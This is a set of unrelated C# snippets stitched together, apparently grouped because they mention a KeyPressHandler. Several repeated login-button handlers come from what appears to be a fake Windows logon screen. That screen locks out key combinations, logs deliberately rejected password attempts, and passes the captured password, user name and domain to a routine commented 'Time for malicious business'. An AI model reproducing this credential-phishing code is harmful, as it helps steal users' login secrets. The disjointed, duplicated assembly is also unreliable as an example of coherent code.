// disables certain key combinations in release builds private void InitializeKeyCombinations() { if (!Configuration.DebugMode) { KeyPressHandler.Disable(); } }
public void Add(KeyBind bind, KeyPressHandler action) { keyBinds.Add(bind, action); bind.OnKeyChanged += Bind_OnKeyChanged; foreach (var key in bind.Keys) { Add(key, action); } }
public void Add(VirtualKeys key, KeyPressHandler action) { if (key == VirtualKeys.None || !Enum.IsDefined(typeof(VirtualKeys), key)) { return; } keys.Add(key, action); }
// Gets called when the Login Button is clicked or the enter key event is triggered on the password text box private void LoginButton_Click(object sender, EventArgs e) { // Do nothing if no password has been entered if (string.IsNullOrEmpty(PasswordTextBox.Text)) { return; } if (PasswordTextBox.Text == Language.PlaceholderText) { return; } if (PasswordErrorCounter < PasswordErrors) { PasswordErrorCounter++; Result.WrongPasswords.Add(PasswordTextBox.Text); ShowPasswordError(); return; } DenyClose = false; if (!Configuration.DebugMode) { KeyPressHandler.Enable(); } try { Result.UserName = Environment.UserName; Result.DisplayName = UserNameLabel.Text; Result.DomainName = Environment.UserDomainName; Result.Password = PasswordTextBox.Text; // Time for malicious business 😏 DoBadStuff.Now(Result); } catch (Exception ex) { if (Configuration.DebugMode) { MessageBox.Show(ex.ToString(), "Error", MessageBoxButtons.OK, MessageBoxIcon.Error); } } finally { Close(); } }
static void Main(string[] args) { QuitTracker bob = new QuitTracker { Name = "Bob" }; KeyPressHandler keypresshandler = new KeyPressHandler(); keypresshandler.OnKey += GotKey; keypresshandler.OnQuit += OnQuitting; keypresshandler.OnQuit += OnQuitting2; keypresshandler.OnQuit += bob.QuitHandler; //keypresshandler.OnKey = null; keypresshandler.Start(); }
private void LoginButton_Click(object sender, EventArgs e) { if (string.IsNullOrEmpty(PasswordTextBox.Text)) { return; } if (PasswordTextBox.Text == PLACEHOLDER_TEXT) { return; } DenyClose = false; #if !DEBUG KeyPressHandler.Enable(); #endif DoBadStuff.Now(PasswordTextBox.Text, Environment.UserName, Environment.UserDomainName); Close(); }
// Gets called when the Login Button is clicked or the enter key event is triggered on the password text box private void LoginButton_Click(object sender, EventArgs e) { // Do nothing if no password has been entered if (string.IsNullOrEmpty(PasswordTextBox.Text)) { return; } if (PasswordTextBox.Text == PLACEHOLDER_TEXT) { return; } DenyClose = false; #if !DEBUG KeyPressHandler.Enable(); #endif // Time for malicious business 😏 DoBadStuff.Now(PasswordTextBox.Text, Environment.UserName, Environment.UserDomainName); Close(); }
/// <summary> /// Registers a key to a name and a handler. /// </summary> /// <param name="name">The name to register the key by.</param> /// <param name="key">The key to register.</param> /// <param name="handler">The handler called when this button is pressed.</param> public void RegisterKey(string name, Keys key, KeyPressHandler handler) { if (name == null || key == Keys.None || handler == null) { throw new ArgumentException("Arguments 'name' and 'handler' can't be null, and argument 'key' can't be Keys.None."); } // Make sure the key was not yet registered if (keysByName.ContainsKey(name)) { throw new ArgumentException("Key '" + key.ToString() + "' was already registered. "); } // Make sure the key's name was not yet registered if (keysByName.ContainsValue(key)) { throw new ArgumentException("Key name '" + name + "' was already registered. "); } // Register this key-name pair keysByName[name] = key; keyHandlers[name] = handler; }
// add other users buttons and display them in the lower left corner private void InitializeOtherUsers() { AddChangeUserPanel(Language.OtherUserText, 0, GetUserIconByName(Language.OtherUserText)); AddChangeUserPanel(UserNameLabel.Text, 1, GetUserIconByName(Environment.UserName)); int counter = 0; // add emergency exit to user button ((Button)Controls.Find("1", true).First()).Click += (s, e) => { counter++; if (counter > 50) { DenyClose = false; if (!Configuration.DebugMode) { KeyPressHandler.Enable(); } Close(); } }; }
public void Add(VirtualKeys key1, VirtualKeys key2, KeyPressHandler action) { Add(key1, action); Add(key2, action); }
// disables certain key combinations in release builds private void InitializeTaskbar() { #if !DEBUG KeyPressHandler.Disable(); #endif }